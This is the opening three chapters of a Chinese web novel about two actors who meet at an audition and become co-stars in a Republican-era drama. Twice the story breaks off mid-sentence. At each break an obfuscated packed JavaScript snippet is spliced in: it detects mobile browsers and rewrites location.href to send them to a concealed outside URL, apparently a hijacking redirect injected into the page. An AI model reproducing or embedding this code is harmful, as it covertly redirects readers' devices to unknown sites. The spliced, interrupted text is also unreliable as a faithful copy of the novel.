《明里搭戏,暗里钓系》 1. 第 1 章 第一章 叶思南给江临去那一电时,江临正读剧本,是一个钟头后回过去的,“怎么了思南姐?” 而这边又赶上叶思南跟着导演一起看搭档的杀青戏,伴着九捶半的锣鼓点,叶思南转身捂着音量筒小声问道:“你那边新戏女主角定了吗?” “还没。” “那你跟张导说一下,我这边有个大概合适的,看能不能约个时间给个试镜机会。” 江临没犹豫,答得果断,“好。” 十五分钟后,江临找到蹲在树荫底下惆怅抽烟的张导。 “思南姐跟我说她那边也许有个合适的女演员,导演您方便安排个试镜时间吗?” “思南?叶思南?” “是的。” 张导前些日子刚掀桌子撤了原定的女主角,片场都租下来大半个月了主演位置却空了下来,正是头疼得吃不下睡不着的时候,“你跟她讲可以,我这儿火烧眉毛了,越快越好。” “好。” 江临回电话,原话还没转述完,那头追问:“随时都可以?” 他看张导,张导点头如捣蒜:“嗯,随时。” 叶思南笑着应声,“好,那就下午吧,我让她过去你们片场。” 两个剧组之间隔得并不远,阳明姝回酒店收拾了下赶到时还不到两点。 流程讲清楚后,助理导演歉疚道:“不好意思啊阳小姐,我们组动线设计出了点小问题,导演过去沟通了,应该得过会儿才回得来。” “没事,我边看本子边等就是了。” 助理导演笑了笑,立马给她递了马扎和本子,“实在不好意思啊,导演交代了,一会儿试戏第一百四十二场,您先看看,熟悉熟悉。” “好,谢谢导演。” 阳明姝过来没带上助理,公司分给她那个小助理才满二十没几天,来时还圆圆白白的进组半年瘦成了瓜子脸,阳明姝想着今天就是来试个戏便让她先回去休息了,这会儿自己拎着马扎找了个墙根开始翻本子。 刚开始时还屏息凝神十分郑重,大致看了几遍思绪就有些涣散,时不时抬头四处张望,场内纷杂忙乱,摄制组那儿好像跟美术组有点意见相左正激烈探讨,阳明姝顶着一张刚暂露头角的新星脸,挨着墙根独自坐着,让过路的人总忍不住多看两眼。 她自己更是心不在焉,直到有人进场,场内刚还吵得不可开交的两大组一窝蜂朝门口涌去,脚步带起的灰尘迷了眼她才使劲定了定神,又仔细看了遍试戏片段起身也跟着走了过去。 等她自人潮中走到跟前,张导刚把两大组各自安排好。 “张导您好,我是阳明姝,感谢张导给我试戏机会。” 张导在得知叶思南所谓的“有个合适的”指阳明姝时,是被嘴里叼着的烟呛了一口的。 “没有没有,你肯来试戏我也很感谢。” 张导在电视导演这一行列常扛大梁,但其实年纪并不大,说起话来比阳明姝这两年接触的严肃老导演们显得松快许多,他转背朝门口招呼,“江临,你过来一下!” 起先动线出问题,江临读本读得正焦躁便跟张导一起去外场看看,又能熟悉熟悉外场环境又能借此出去透口气,彼时正站在一棵大榕树底下弯腰擦鞋上不小心踩到的泥泞。 几秒钟后三人便围站在了一起。 “江临,这是阳明姝,刚拍完陈秀元导演的《萤火》,听说过吧?” 阳明姝,演员新秀,去年中秋档的第一部电影就斩获了最佳新人,第二部和叶思南搭档《萤火》,估摸着也是奔拿奖去的,虽然入行不久知名度暂不高粉丝也积攒不足,但行内人都知道她红得果决迅速,如同炭盆里烧得最透的那一块,冒着火红的尖儿,瞧着就滚烫。 一个大圈子的人,阳明姝这样卓绝,虽然不想听说都难,但实则这样的新秀江临见的也不算少,能记住名字的却没几个人。 他只是多看了她一眼,因为那人长得实在出众,五官轮廓处处都是恰到好处的漂亮。 他记得早前有次无聊翻新人名录,翻到过阳明姝,当时便如今天,一刹那挪不开眼。 “简直如雷贯耳,”江临伸手,笑道:“你好。” 江临的手干净修长,每一处骨节都恰到好处,手背上能看到青筋血管却并不过分突出,阳明殊不合时宜地晃了两秒神,握住那只手的同时,很轻很轻地捏了捏。 嗯,一点点肉,包着细长骨头,不凉不热,温温的,触感像春日里甜而不腻的点心。 “您好,我入行不久,您是前辈,希望这次有机会得您指教。” 这是江临在圈的第八年了。一路披星戴月、摸爬打滚走到如今,不曾正当红但也不落幕,时有资源有戏路,但比起眼前这位正儿八经科班出身的新秀,也就多个几年资历而已。 “不敢,该我求指教才是。” 临近四点钟,片场起了风,想来是夜间又要有雨,张导叫人赶紧设置场地,要试镜第一百四十二场,“江临跟着搭下戏。” 最近女主演位置空悬,拍摄停滞,江临手里的本子翻了一遍又一遍,一说场次脑子里就大概知道是哪出了,“好的。” 半个钟头后各单位都已经就位。 一部戏对于主创的要求,含括演绎技巧、荧幕需求、观众认可……还有在全剧不多的几出大戏里,是否可以靠自身能力创造场面、将观者带入所创造场面,这是对导演以及演员要求中极重要的一条。 这两年竞争激烈,相似类型艺人层出不穷,江临的事业有些下坡趋势,阳明姝虽有着镶金带钻的履历,但到底不过是个参演极少的新人,说白了目前两人都缺乏粉丝包容度,如此就只能在真功夫上提高要求了。 张导演焦心了几天也想开了,既然原先的撤都撤了,那就必不能再定个勉强的,不然桌子白掀了光给人背地里看笑话了不是? 于是试戏定了第一百四十二场,不算很重的情节戏,却是全剧针对女主演情绪最饱满最有张力的一part,这意思明显到不行。 阳明姝抿了抿唇,朝那边的江临走去。 试戏没有服化道,环境也简单,阳明姝抑制如雷心跳,愈靠近眉目间的坚毅神色愈显现出来。 恍惚间,窗外那雪虐风饕似是来了。 江临入行久,演员素质培养得还行,入戏算快,戏里他这个人物设计以及情感转折早了然于胸,而对面的阳明姝更不用说,接受的是最优质齐全的指导训练,再加上刚从上部戏里磨练了一遭出来,该有的差不多都有,导演的一声“action”于她来说就是重复过千百遍的上课铃。 这场试戏,从阳明姝迈进片场,似乎就没有了悬念。 张导坐在监视器前点了根烟,场务打板大喊:“Action!” 《风雪夜归人》第一百四十二场说的是叶莺在一个寂静深夜踏雪而来,书房那盏灯还跟从前一样似乎永远不会熄灭,梁秋序正伏案写着书信,那张隐在灯影里的侧脸,透出一种消沉的风流。 她在门口停顿了几秒,扶着门框的手指因用力而发白。 梁秋序停笔,抬头与她对视。 她便自半明半昧的光影里缓步行来。 …… 一年后,《风雪夜归人》上线,有许多电视人评价道:“阳明姝的戏总是层次递进,从凝重平静至磅礴恢弘,后又缓慢跌落,化作一地再合不拢的死寂,那双眼里承载的是覆水难收,是月缺难圆,这才是悲伤感最真实也最凝重的体现。” 她不曾落泪,却仿佛仍有什么东西灼伤了江临,烫得他心惊。 这是江临与阳明姝的第一次会晤,至此不过寥寥几句话,可她偏偏好像扛了满身雨雪风霜,背负了千斤重担,那是积攒多年的爱、是无数个日与夜反复研磨的孤寂与苦楚。 容纳了几十人的片场鸦雀无声。 …… 试演片段结束,导演闷声喊停,随后几步跨进了场内,“江临,你感觉怎么样?” “演得好,很代入,刚刚让我心里很难过。” “好!太好了!” 听到了想听的,张导郑重转向阳明姝,还十分体贴地给她递了张纸巾,“我得谢谢你,也得谢思南。” 这句话便算定了,阳明姝接过纸巾,演戏时没哭,戏一停倒是眼泪掉个不停,“是我谢谢张导,感谢您愿意给我这么好的机会。” 空悬近半月的女主演定下,张导心情好到也有些 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这句话乍一听很奇怪,但刚刚同在戏里走了一遭就又不突兀了,阳明姝试图微笑,谁知笑着笑着又不慎掉了颗眼泪,她仰着头狼狈道:“我确实很努力地在表现这件事。” 天色渐暗,风雨欲来,阳明姝的马尾和江临的外套衣摆都在风动下扬了起来。 “说起来可能不太礼貌,但你别介意。” 江临这人生得实在好,各方面都天资傲人,不愧是盛传的脸蛋天才。 阳明姝记得曾经江临拍过一本杂志,当时照片旁边有摄影师形容他的一段小字:“他天生可以将你限制在这幅画面里,让你的眼睛一秒钟都离不开他。” 阳明姝:“嗯?没关系你说。” 画中人悠悠开口:“我是不是在哪里见过你?” 不是荧幕不是纸页,是那种人群熙攘中曾有过交汇的目光。 “是吗?是觉得我眼熟吗?” 江临点头,阳明姝堵着鼻子,瓮声瓮气的,“可能是我大众脸吧。” “你可不大众脸。” 江临赶紧否认,但话到这儿也不再追问了。 “我晚上还有个工作就先走了,后天见。” “好,后天见。” 阳明姝的经纪人钟蓓蓓闻风赶来时,正逢江临的车扬长而去,阳明姝还站在原地,钟蓓蓓几乎是飞下的车,满肚子火憋了一路好不容易到跟前又跟漏了气似的,到末尾也只是怨怼地瞪她。 彼时六点多的傍晚,风起了好一阵,空气中沉着大雨将临的湿闷气味,阳明姝不再看马路尽头,抬手摸了摸经纪人的肩,明明是这样阴沉糟糕的天,她却笑得舒阔开朗,“蓓蓓姐对我的好,我也肯定是要记一辈子的啦。” “我呸!” 钟蓓蓓啐了一路,阳明姝乐了一路。 钟蓓蓓手下艺人多,这个算最出挑,她的发展路线她规划得详尽细致,刚入行就拿了奖,但毕竟年轻,还需冶炼包装,下半年话剧巡演,正适合做她的东风,边排练边等着各大本子放出来,她再削尖脑袋去给她争,阳明姝条件好,刚出道就有作品垫着,接下里再继续骑驴找马寻摸着……等镜头、粉丝积累起来,什么资源够不着? 她上周刚为了争那个角色跟人话剧导演喝到凌晨三点,人都胖了两斤,结果阳明姝自己跑这儿试上戏了。 钟蓓蓓来时寻思了一路手底下艺人不听话、擅作主张该怎么让长教训,寻思着寻思着又消了气。 张导组里缺主演这事儿她们内部早收到过风,不过是不愿担这个风险罢了,万一赌错了浪费阳明姝这个新人的影像价值,艺人花期都不长,这儿耽误了进程又得找别的机会露脸,僧多肉少的环境里压根没那么多容错……直到快到时,钟蓓蓓的手机收到几条视频,是阳明姝与江临的试戏片段,她举起手机仔细端详,措不及防,心头一颤。 她常年在圈与俊男美女打交道,时间长了已经很难再被谁一眼惊艳,更何况会被搭在一起的两个人惊艳到。 于是,愠怒烟消云散,她决意随她赌一把。 2. 第 2 章 因为进程已经耽误了半月,正式开拍的日子定得紧急,阳明姝马不停蹄进组,甚至来不及回家一趟,只能在电话里汇报情况。 “不是公司安排,这部片子是我自己来试的镜,是电视剧。” “嗯,费了老大劲才顺利接下来……” 阳明姝小时候在父母手底下练舞,这便让她从小养成了在他们面前总是一板一眼、庄严肃穆从不会撒娇卖乖也不敢插科打诨的恭谨态度,她条条列列陈述着,尔后郑重说了句:“爸,妈,这次对我很重要。” 静默了一小会儿后,电话那头应该是应承了她,眼见着刚刚还沉静的阳明姝蓦地笑了起来。 她笑起来十分明丽,正如此时三月的天,藏着满满春意,引得刚迈进来的江临又忍不住侧目。 “有这么高兴吗?”电话那头问。 “嗯,高兴得都想哭了。”阳明姝说。 江临起得早,闲着没事便领着阿木提前了大半小时到片场,进来瞥见阳明姝站在那头接电话,等他片场转悠一圈没看见导演他们,再出来又瞧见她坐在遮阳伞底下摇着一把像是道具的团扇,摇出的小风卷着耳后一缕头发,半晌都落不下来。 正值迈过了春分的三月底,昨晚一场雨下得磅礴,大有一丝破而后立的感觉,终于将持续了好些日子的阴霾天冲开露出了半月不见的太阳,微微起了些温燥感,可再大的太阳也毕竟是乍暖还寒的天。 江临走到她跟前,阳明殊还那副模样,打扇频率规整,一下一下又一下,好像并不是嫌热,只是单纯地在机械操纵,看得出来她在发呆。 接下来要搭档四个来月,招呼还是得好好打的。 江临过来时斟酌再三,阳明殊年龄比他小出道比他迟,所以前辈这类他惯用的用不了,偏偏阳明姝这三字名字不够柔婉,叫全名会让人觉得太硬,思来想去要不叫明姝吧,但明明刚见第二面就这样叫,又显得假亲昵。 最后江临剑走偏锋挑了个凑合又能比较能让双方接受的称呼,“早上好,叶莺。” 阳明姝放空时间太长,像个锈掉的机器,迟钝地转头,缓慢地抬眼,视线自他的腰间一路往上,最后停在四目交接的那个点,江临在这个过程中仿佛能听见虚空中“嘎嗒嘎嗒”的机器运转声,然后“叮!”一声脆响,有人活了过来,面前那双茫茫无一物的眼睛,突然就生机勃勃了起来。 “吓到你了?” “没有没有,我只是没想到你也来这么早……” 阳明殊是捧过杯的专业演员,三两句话就能入情入境,“梁先生吃过早饭了吗?” “吃过了,进来没看见导演他们,就看见你在这儿摇扇子。” “马上就要开机,张导拉着几大组在最里头那间屋子开大会呢。”她指了指自己旁边空着的那把折叠椅,“坐这儿等吧,看时间应该也快了。” 江临点头坐下。 阿木见江临这会儿暂时还不上戏,从背包里掏了杯子去热水供应点泡茶去了,坐在一把遮阳伞下的两人好像都不是没话找话的性格,于是便各自拿出剧本左翻右看,直到江临被刚冲好的热茶烫了嘴,阳明姝才再一次放下本子转头问道:“试试我的?” 江临反问:“你的不烫吗?” “嗯。” 阳明姝歪着头,浅浅地冲他笑,“刚买的冰咖啡。” 离近了看其实能发现阳明殊的长相是带着些清冷气的,略上扬的眉弓,鼻梁有驼峰,眼尾有细勾,轮廓干净,骨节点清晰,不说不笑时,如远山孤冷十分有冷漠疏离感。 偏她笑时又是截然不同的另一幅模样,眉目非常灵动传神,笑起来有拨云见日的豁达感,让人也跟着生了坦荡意。她这姣好模样生得太合江临的意,合到他不敢多看,怕失了礼貌。 “好啊。”江临垂眼。 阳明姝的助理金豆儿捧着奶茶蹲在简易小桌子旁玩手机,听了这话忙从手边纸袋拿咖啡出来,正好是他爱喝的品类,他看了看金豆儿手上的奶茶再看小桌上已经插着吸管的那杯,“是多买了一杯吗?” 阳明姝又拿起团扇来摇。 “是特意给你买的。” “我看今天温度好像有点高。”她没看他,只是摇着扇子十分随意地说道,尔后屋内浩浩荡荡的队伍出来了,表上时针指向九点,是定好的时间。 集体会议开完,张导决定看看这两天服化通宵赶工的成果,要没什么大问题,下午就正式开机了。 尔后,自上午九点开始,男女主这个服化,修修改改加一块拢共做了三个多钟头,但好在效果是十分感人的。 江临和阳明姝做好服化见面时,相互都惊了一惊。 剧中的梁秋序三十出头,因常年在屋内作画,皮肤很白,人也较瘦削,戴眼镜,与人说话时会有习惯性地搓手指和扶眼镜动作。 戏外的江临是堪称完美的雕塑。化妆老师神奇的手拉长了江临原本十分具有少年感的眼睛,看上去苍沉而隐秘,他脸颊两侧打了特定的阴影,这让江临的脸略有些凹陷,更加凸显出他高挺的鼻梁和锋利的下颌角,他戴着一副无框眼镜,透过薄薄的镜片能看见鸦羽一样轻轻浮动的睫毛。 服装是一身镂银色斜纹的西服,扣子松散着,露出松松垮垮的白衬,从里到外都粘上了颜料,灯光下银线和颜料齐齐流转。 他就那样单手插着兜站在那里,有书生文气,也有才俊矜贵,高雅与颓靡两相结合,性感清俊而极具诱惑力。 阳明姝眨了眨眼,由衷夸赞道:“特别帅。” 江临笑了,这一笑不得了,那个时代的风流多情全框进了眼里。 “你也很好看。” 江临这句话一样是真心的。 剧中的叶莺本就是令铁血军阀和名门公子乃至外商竞相争夺的“绝世名伶”,接受西式教育,常与洋人共舞,长袖善舞而明艳风情。 阳明姝个子高挑,从小练舞的身段好到前天交定制尺寸时服装老师看着数据都暗自慕了许久,觉得这个身材确实优质可叹,再等到今天这旗袍上身,老师实在是忍不住了,欣喜地给她介绍,“我堂姐姐做高定旗袍的,阳小姐不嫌弃的话可以去看看的,您穿旗袍真是太好看了……” 这身旗袍是月白色,绣着满身大朵大朵的红色海棠,前襟用的菱形盘扣,小巧精致的立领将她的脖子衬得更加修长,黑发松松散散盘在脑后,环绕着一排温润光泽的珍珠发卡,就这样加上她有些清冷气的五官,描细眉,画红唇,再点颗眉心痣,戏中带着凉意的性感就这样散发了出来。 遗世独立,一颦一笑尽显东方意蕴。 两人互相称赞完就都没话了,各自听着老师调配,倒是由远及近来了另外一个声音。 “明姝啊!” 江临循声望去,是这部戏里的主创演员之一苏晔,江临和苏晔相识得早,配合过一部电视剧,三四期综艺,年底还要一起赶个跨年的场。 苏晔跟江临是一个路子的人,都靠脸吃饭,不同的是苏晔单吃这碗饭的时候已经临近尾声,彼时团队上上下下都在策划着接下来往综艺方向的转型,江临却便是真饿着了也没什么综艺天赋,得想别的辙解决后顾之忧。 明面上两人客客气气但合作了多次其实一直谈不到一块儿去,毕竟一个擅长走综艺路子,机敏热情,一个性子冷淡又慢热看起来甚至有些孤僻,于是私底下是没什么来往的。 服化老师拉着江临转了两个圈,正摸着下巴考虑什么,他老实站着任人打量,身边苏晔和阳明姝的对话,听得一清二楚。 原来苏晔也是第一次见阳明姝,但他却愿意堂而皇之叫她“明姝”而不担心假亲昵,阳明姝估计都不一定知道苏晔叫什么打哪儿来的,也可以跟人聊得热络。 苏晔在说话方面具备着十分娴熟的技巧,连带着将周边气氛升温拔高的本事。 他们在笑,连着周边忙活的工作人员也跟着笑,好像这两个第一次见面的人是多么有趣一样。 他们寒暄起来话好多,从“久仰大名”到“十分有幸能一起合作”,又夸“电影新红人硬底子实力派”再到“难得有缘分还请多指教”甚至连“赏脸一起吃个饭”都说出来了…… 江临有一搭没一搭听得走神,抬眸间偶然瞥见阳明姝脑后那排摇摇欲坠的珍珠,他们之间离得近,几乎是一伸手就碰到她的手腕,“这个,松了。” 阳明殊先是一愣,后知后觉抬手去摸,谁知还没碰着,就听见“当啷”一声,松了扣的发卡掉到了地上,尔后她那满头青丝便没了束缚,整个披散了下来。 “哎呀!” 化妆老师匆忙上前重新给她盘发,正正巧巧隔开了苏晔,这场冗长而无聊的寒暄便总算是结束了。 “江老师。” 阳明姝很小声地叫江临,并朝他挪近了一小步。 “刚刚那是哪位啊?我没说错什么话吧?” 江临愕然,“你还真不认识?” “有点眼熟但记不起来了,时间紧这两天光盯着自己的本子去了,”阳明姝摇头,摇着摇着又没忍住笑了,“电视又看得少,这方面真没什么了解。” 她眉眼展开了来,衬着这妆容,七分美艳,三分纯。 江临看得有点走神,忽的阳明姝想起什么了,面上笑容迅速褪尽,似乎十分急切,急切得都碰到了他的手腕,“可是江老师的作品我全部都看了的……” 化妆老师在江临领口处比划领带的颜色,他只能微微侧着脑袋去看阳明姝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492545|202303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用这么客气,也不用叫我老师,叫我名字就好。” 两人身边环绕着各大组的老师们,或拿着小本或举着照片正激烈讨论中,也许是因为服化道组为了今天成果已经熬过两个通宵的原因,一旦涉及各自不可触犯的逆鳞都有些狂躁。 只有喧嚣中心这两人十分宁静。 “不是客气。” 阳明姝的腮红上得巧妙,连着眼角耳后都有带去了些红,“确实是都看过了。” “是吗?” 因为阳明姝那排发卡落地而告一段的厌烦感,又重新席卷而来。 他真是烦透了这种虚与委蛇的客套了,“那你还挺爱看电视剧的,真是我的荣幸。” 江临出道快八年,男配戏就拍了四部,这几年趁热工作得算勤勉,主演干下来又四部。 人一烦躁,藏心底那股恹劲儿就上了脸,于是,风流间又显露出了些纨绔感。 不远处那头摄制组从镜头里瞧着服化过后的两人,各个吃了一惊。 江临单手插兜斜靠在白墙边,胸前怀表链随着动作细微晃动,阳明殊站在他跟前,月白旗袍勾勒出美好身型,灯光下腮边耳后皆有红晕流转,两人小声说着什么,江临漫不经心,阳明殊明眸善睐。 一呼一吸间两人将风情和风骨结合到恰到好处,只是惊鸿一瞥,便足以令人辗转反侧,过目难忘。 人群中瓮声瓮气四起。 “演员就是演员啊,扮啥像啥……” “是啊,江临这个妆好欸,真有那味道,你再看他那股子恹劲儿,好贴啊……” “还真是……服化前老感觉差点cp感,这会儿居然满了……” 《风雪夜归人》故事丰满,感情戏虽然只占其中一部分但十分大胆,这跟江临以往拍惯的那些有很大突破。 故事说的是生逢乱局的梁家小少爷困于深宅,偶然一日,家里长兄带回来了那位“绝世名伶”。 梁秋序虽然能理解乱世佳人处境艰难,但也十分瞧不上这个早已腐朽的女人,他原以为与她之间不会有纠葛,可是烽火动荡,十里洋场,他报负难展,她却如一道光,以微薄之躯,扶他信仰,铺他志在家国的路…… 江临这段时间读本读得十分认真,对于开篇的不齿、其中的心动、后续的煎熬都有了一定的认知,另一边阳明姝虽然定得突然但也挤了所有时间去理解故事。 这是个看一遍就深知其中悲怆沉重的故事。 山河动荡,危机四伏,情爱不过是现实中蘸满血泪的一笔。 正午的开机仪式很隆重,阳明姝和江临并肩进完香退下来,紧接着一个又一个主创依次上前,江临肃立在一旁,喝掉半杯咖啡,看了两次表,阳明姝侧了侧头,像是随意闲话:“我刚拍完一部梨园戏,演的一个戏子,带我唱戏的师父每逢演出前都得先在后台给祖师爷烧香磕头,这是老戏园子来的规矩,烧香拜佛是求祖师爷赏饭吃,从戏园子到电影厂,慢慢沿用下来才成了今天的开机仪式。” 摄影机的红布揭开,场内掌声雷动。她的声音很好听,字词也都有足够清晰的筋骨,江临看了她一眼,接话茬的却是站在另一旁的苏晔。 “噢,我听说过,还有个别情况,有回我们在山区借人老宅子拍戏,开机仪式比这个还要复杂好几倍,鬼神都要拜,据说是怕冲撞了老宅子。” 阳明姝不惊讶,“是啊,既然信了神,那别的也肯定得信。” 江临低头喝咖啡,余光瞥见阳明姝左耳耳下有一颗红色小痣,会因笑容而微微跳跃。 张导的戏恢弘,主创演员不少,仪式结束后各自有一搭没一搭地说着话,阳明姝和苏晔也聊着等会儿就要一起搭档的开篇戏,江临端着一个雪白的瓷盘穿过三三两两的人群朝这边走来,那是雨后放晴的天,空气澄澈暖和,天空似蔚蓝的海,阳光如金甲披在他身上,似神邸一般庄严。 “来,吃火龙果。”神邸端着盘子说。 “……” 江临:“祖师爷赏饭,红红火火。” 阳明姝惊讶了一瞬,过后有些想笑,眉眼刚弯了弯又赶紧打住,跟着苏晔依次叉了块火龙果送进嘴里,咀嚼得十分庄严肃穆。 苏晔:“红红火火,未拍先火,拍了更火!” 阳明姝:“必须红火!” 江临转身走远好几步后,阳明姝追上来叫住了他。 “对了,江临。” “嗯?” “我有一个很好叫的小名。” “什么?” “小明,你可以叫我小明。” 阳明姝的微笑是镜头前锻炼出来的完美微笑,不冒进不逾越,自然而妥帖,这让江临有一瞬间怀疑她是否有洞察人心的能力。 3. 第 3 章 四月来的时候无知无觉,直到天气越来越热,前些日子拍完戏还得披件外套的天忽然到了需要撸起袖子解两粒扣子去去暑气的时候,让人猛然察觉这就已经走到了五月。 摄任务排得十分密集,江临收工后累得一个字儿再不想说,相比起来阳明姝看着就轻松好多,每天都高高兴兴的,状态好得不行,她和同组的每个演员或老师都十分聊得来,看起来和谁都融洽。 这几天,拍得不如先前顺利,戏中梁秋序察觉自己对叶莺动了真心,江临掌握不当那分寸间的情绪表征,拍了好些条都不尽人意,导演们说的他都懂都理解,就是在镜头里展现不出,情愫与理智纠缠、一瞬间迸发隐忍的爱意、隐晦的挣扎这种东西,听着已经这样玄,表演出来谈何容易? 虽然时间紧每天都拍摄得繁重,张导在情感表现上仍有细致要求,没时间反复重拍就穿插在后续的拍摄中,譬如今天收工早便加个一个半个钟头磨一下之前那段不满意的,试了几回都不太行江临正懊恼惭愧,阳明姝倒是没所谓时时陪着他NG,只是休息的时候总见缝插针地跟他讨论梁秋序的人物小传,时不时的也自己带入叶莺跟他钻研情感走向。 江临时不时总走神,他想不明白为什么会有一个人无论是说话的神态,还是笑起来时嘴角眉梢的弧度,甚至连她垂眼看剧本的模样,都是他喜欢的样子。 他觉得自己大抵是疯了,不然怎么会这样色令智昏。 江临不敢辜负她好意,总强迫自己清醒,而当人一旦对自己有了明确要求,那便离进步不远了,江临还是整天恹恹的,但明显比刚开拍时爱说话了些,偶尔在片场角落翻剧本时,会不自觉用铅笔在页边勾画些细碎藤蔓——像梁秋序心口悄然攀援的、不愿声张的情愫。 忘了第多少次,是个夕阳沉暮的傍晚,镜头里的江临被人物情感拉扯,终于在最恰当的时候红了眼睛,他背惯了包袱,生怕太用力露了丑,如今扯了那层硬皮,演出效果后心胸里都生出些细小快意,爱欲在他脸上汹涌如潮,终将剧情推向下一阶段。 阳明姝站在他对面由衷给他道贺:“厉害!” 江临精疲力尽,没忘冲她笑,“你才是真厉害。” 自那以后,开拍前,停拍后,探讨得就眼见频繁了些。 五月末尾,江临有几个通告要跑,每每都是今天的戏份拍完收工就立马坐车赶飞机,第二天再见时眼下总带着一层青,阳明姝有些担心,中午便推说想午睡下不再找他对戏了,江临起先还有些不习惯以为是哪儿得罪了这位搭档,后来发现抓紧时间休息会儿后下午的状态确实会好些,就懒得再去想为什么了。 日程上,除开江临排得有些紧密的通告冲突外,等到六月中旬的这会儿也终于轮到阳明姝的事了。 与叶思南搭档的《萤火》全片杀青少说得有一个多月了。 陈秀元导演前几天拨来电话说剪片子发现阳明姝所饰演的角色杀青戏里有几个镜略微瑕疵,导演组左右商讨决定重拍片段,问阳明姝什么时候有时间能抽出半天。 陈秀元导演的雕琢功夫以及精益求精,阳明姝向来全身心配合,立马回复道:“好,我去跟组里沟通一下。” 最终沟通好的时间就是今天下午过去,阳明姝这边剧组今天只拍上午场,下午要检修机子,明天顺势给剧组成员放一天假,正正好也赶上叶思南进组前补拍。 “你们还是之前那个片场吗?” “嗯,是。” “那我跟你一起过去。” “啊?” 江临插着兜,身后跟着早收拾好背包的小跟班,“我去看看思南姐。” “哦,好。” 这两个多月都在拍《风雪夜归人》,阳明姝闭着眼睛都是这部戏的台词,猛地又让她回去重拍《萤火》的镜头,难免让她有些错乱,一路上她都试图在脑子里复盘一轮她那个角色的故事。 麻烦的是,这一路都很难凝住神。 出发前,江临安排阿木开车去办什么事了,总之他蹭上了阳明姝的车。 此时他就坐在阳明姝的右边,戴着耳机,手上游戏打得热火朝天。 旁边多了这么大个人,即便就是连呼吸都憋住,也让人很难静心。 “江临。” “嗯?” 江临摘了半边耳机,仍旧端着手机,只是头朝她这边微微倾了倾,“怎么?” “你和思南姐很要好吗?” 他盯着手机屏幕,语气听着有些漫不经心,“还行。” “哦。” “我跟思南姐也挺好的。”阳明姝坐直了。 “嗯。” “她人特别好,又好看又温柔,还那么厉害对吧?我也特别喜欢她……” 操控的人物死了,江临终于侧过头,他静默地看了她两秒,“想问什么可以直接问。” 后者目视前方、正襟危坐,余光感觉到落在侧脸上的视线,心里十分懊悔自己的莫名其妙,正焦急踌躇,江临见她皱了眉头后知后觉刚刚的话有些硬,又稍微转圜了一下,“不然我听不懂你的意思。” 江临明明生了一张青偶剧男主的俊俏脸,偏偏又养得那样端正。 眉眼正,气质正,问的话都那样端方没有温度。 片场内,他们是梁秋序与叶莺,聊起来有整个宏大故事做背景,片场外,脱了角色衣裳,忽觉找话题比登天还难。 阳明姝张了张嘴,声音过了会儿才溢出喉咙,“没什么,我就是坐车无聊跟你闲聊。” 江临听完点了点头,又问道:“你会玩游戏吗?” “会是会,但下次吧……” 阳明姝的背脊失去力道,整个人陷进了宽厚座椅里,“我想想剧情,不然一会儿入不了戏。” 江临怕动作大吵到她,没再玩游戏,从椅背翻了本杂志出来看,路程不算远,也就来回翻了三、四遍便到了。 阳明姝刚下车就被导演组团团围住,江临插着兜闲适地绕着片场刚搭的戏台子转了两圈,没见叶思南,正想找个人问问,那边被围着的阳明姝突然踮起脚喊他,“江临,你跟我来。” 尔后跟着七拐八拐到了剧组化妆间。 叶思南半靠半坐在化妆间的台子上,手里端着一小碗草莓,正跟旁边站着的助理说话。 门被敲开后,她转头疑惑地“诶?”了一声。 江临望向她时有些无奈,“上午说来看你,你下午就能把这事忘了?” 叶思南恍然大悟,笑着将手中那碗鲜亮草莓朝他送了去,但记忆还是跟不上趟。 “从哪儿来的啊?” “我跟你搭档一个剧组,你猜。” “是噢,明姝也来了吧?” “你再猜,她不来我来演吗?” “……” 叶思南觉得他说话烦人,恼怒地想要骂他两句,隔间换好衣服的阳明姝又被两个化妆老师簇拥着走了进来,一时间也懒得管江临了,走过去与镜子里的人说话。 “怎么样?都顺利吗?” “目前都还挺顺利的。”阳明姝对着镜子笑。 “什么时候杀青?” “照进度……预计应该是八月上下吧。” “你看着好像瘦了点是吗?是拍得很辛苦吗?” 阳明姝是戏妆,正勒头,勒头避免不了手重,她便时不时抬手去揉被勒痛的额角。 “戏不难也不苦,唯一麻烦的就是老要穿旗袍,我现在一口气得分三回吐,吃饭也就敢吃个小半饱……” “那也比穿戏服化戏妆的好。” “还真是。” 江临端着草莓在化妆间的沙发坐下,刚消停听了一小会儿又掏了手机出来玩。 镜子里阳明姝还是笑,叶思南也笑,顺道还在她脸上捏了一下,“是不是搭档太难带,给你累瘦了?” “没有的事,”阳明姝慌忙摆手,脑后髻上插着的珠翠跟着丁零零晃,“江临很好的。” …… 江临手里游戏刚开,听见点名也没空接话,磨磨蹭蹭一局结束,一抬头就看见镜子里阳明姝上成的戏妆。 那一眼让他猛地恍惚了下。 像是被一局漫长游戏意外卷进了另一个世界,那个世界有弦索胡琴,婉转曲折,更有兰花手,荷叶掌,握拳如凤头。 叶思南先入了场,江临起身端起草莓碗递过去,草莓红艳,裹着水躺在玻璃碗中,阳明姝摇头,指了指紧巴巴的脑袋又指了指脸上贴好的鬓角,“嚼不了。” “贴太紧了吗?”江临问,“你以前都是不吃东西的?” 阳明姝点头,镜子里的人吊眉,眼角斜飞,红色描到了发髻里,“拍完再吃。” 江临想起叶思南说过,陈导要求严,有一回有个镜头卡了九个钟头,她就拍了九个钟头没卸妆。 等那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492546|202303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 